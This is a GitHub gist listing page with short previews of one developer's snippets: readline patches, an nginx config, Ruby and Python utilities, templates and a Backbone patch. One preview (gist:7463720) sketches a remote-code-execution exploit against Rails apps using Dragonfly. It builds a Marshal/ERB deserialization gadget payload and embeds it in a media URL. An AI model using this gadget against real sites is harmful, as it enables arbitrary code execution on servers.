Samuel Cochran sj26

View ruby-2.1.1-p0-readline.patch
1 2 3 4 5 6 7 8 9
From 4c4da3fc650a3595ecc06f49072f1ffae07db706 Mon Sep 17 00:00:00 2001
From: Thomas Dziedzic <gostrc@gmail.com>
Date: Sat, 1 Mar 2014 21:41:28 -0800
Subject: [PATCH] Fix undeclared identifier error by using the actual type of
rl_pre_input_hook
 
---
ext/readline/readline.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
View ruby-2.0.0-p451-readline.patch
1 2 3 4 5 6 7 8 9 10
diff -ur orig/ext/readline/readline.c fixed/ext/readline/readline.c
--- orig/ext/readline/readline.c 2014-03-18 13:53:31.866359527 +0100
+++ fixed/ext/readline/readline.c 2014-03-18 13:56:26.390247250 +0100
@@ -1883,7 +1883,7 @@
 
rl_attempted_completion_function = readline_attempted_completion_function;
#if defined(HAVE_RL_PRE_INPUT_HOOK)
- rl_pre_input_hook = (Function *)readline_pre_input_hook;
+ rl_pre_input_hook = (rl_hook_func_t *)readline_pre_input_hook;
#endif
View nginx.conf
1 2 3 4 5 6 7 8 9 10
daemon off;
error_log stderr;
 
events {
worker_connections 1024;
}
 
http {
# As suggested in http://nginx.org/en/docs/http/websocket.html
map $http_upgrade $connection_upgrade {
View smtp_to_web.rb
1 2 3 4 5 6 7 8 9 10
require "eventmachine"
require "httparty"
 
class SmtpServer < EventMachine::Protocols::SmtpServer
# We override EM's mail from processing to allow multiple mail-from commands
# per [RFC 2821](http://tools.ietf.org/html/rfc2821#section-4.1.1.2)
def process_mail_from sender
if @state.include? :mail_from
@state -= [:mail_from, :rcpt, :data]
receive_reset
View gist:8842998
1 2 3 4 5 6 7 8
#!/usr/bin/env python
 
import sys
import socket
import select
import signal
 
from Debug import dinit, dprint
View example.html.erb
1 2 3 4 5 6 7 8 9 10
<%= form_for @model do |form| %>
<div class="form-group">
<%= form.text_field :title, class: "form-control", placeholder: "Title", "ng-model" => "title", "init-model" => true %>
</div>
 
<div class="form-group">
<%= form.text_field :slug, class: "form-control", placeholder: "slug", "ng-model" => "slug", "init-model" => true %>
</div>
 
<div class="form-group">
View example.html.slim
1 2 3 4 5 6
doctype html
= html_tag_with_ie_version lang: "en", class: ["no-js", "wf-loading"], "xmlns:ng" => "http://angularjs.org" do
head
title Some site that has to deal with IE crap
body
p What an example!
View spacebase.rb
1 2 3 4 5 6 7 8 9 10
# They're just deflated messagepack dumps of lua data.
 
require "zlib"
require "msgpack" # gem install msgpack
 
# **BACK IT UP FIRST**
 
save = MessagePack.unpack(Zlib::Inflate.new(-15).inflate(IO.read("#{ENV["HOME"]}/Documents/SpacebaseDF9/Saves/SpacebaseDF9AutoSave.sav")))
 
# ... do things to `save` ...
View gist:7463720
1 2 3 4 5 6 7
# If http://mysite.com/dragonfly responds, then:
 
string = "Here's a scary exploit"
code = "Rails.logger.info(#{string.inspect})"
marshalled = "\x04\x08o:\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\x07:\x0E@instanceo:\x08ERB\x06:\x09@src" + Marshal.dump(code)[2..-1] + ":\x0C@method:\x0Bresult"
base64ed = Base64.encode64(marshalled).tr("\n=",'').tr('/','~')
url = "http://mysite.com/media/#{base64ed}/basename.format"
View backbone-ns.js.coffee
1 2 3 4 5 6 7 8 9 10
# Backbone's in-build element creation uses jQuery which doesn't
# respect element namespaces meaning SVG won't work, so here we
# patch in support for building namespaced tags on views.
 
Backbone.NS =
svg: "http://www.w3.org/2000/svg"
 
Backbone.View::_ensureElementWithoutNS = Backbone.View::_ensureElement
Backbone.View::_ensureElementWithNS = ->
if not @el and "tagName" of this and "tagNS" of this
Something went wrong with that request. Please try again.